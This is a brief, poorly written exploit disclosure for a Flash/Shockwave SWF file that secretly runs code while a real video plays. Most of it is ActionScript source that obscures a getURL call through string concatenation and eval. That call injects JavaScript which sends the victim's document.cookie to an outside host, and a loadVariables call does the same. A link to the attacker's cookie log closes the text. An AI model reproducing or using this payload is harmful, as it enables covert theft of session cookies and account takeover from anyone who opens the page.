The critical bug Shockwave videos allows to embebded code execution… This code can be XSS or activex mechanism. The victim cant understand because it ll executed background of real video without any redirection or url spoofing…
======================================
Source Code:
There is there frame in this attack SWF;
1.Frame
// Action script…
Source code of which called in index.html of priview.swf
// Action script…
// [Action in Frame 1]
loadMovie("lindows.swf", this);
// [Action in Frame 2]
a = "get";
b = "URL";
c = "javascript:";
d = "img = new Image(); img.src = \'http://fotoz.awardspace.biz/s.php?\'+document.cookie;void(O);";
eval(a + b)(c + d);
loadVariables("http://fotoz.awardspace.biz/s.php?\'+document.cookie", _root, "GET");
nextFrame();
in This demo if the victim open this page attacker' code executed in backgroud & Cookie will be logged
http://fotoz.awardspace.biz/spamabi.php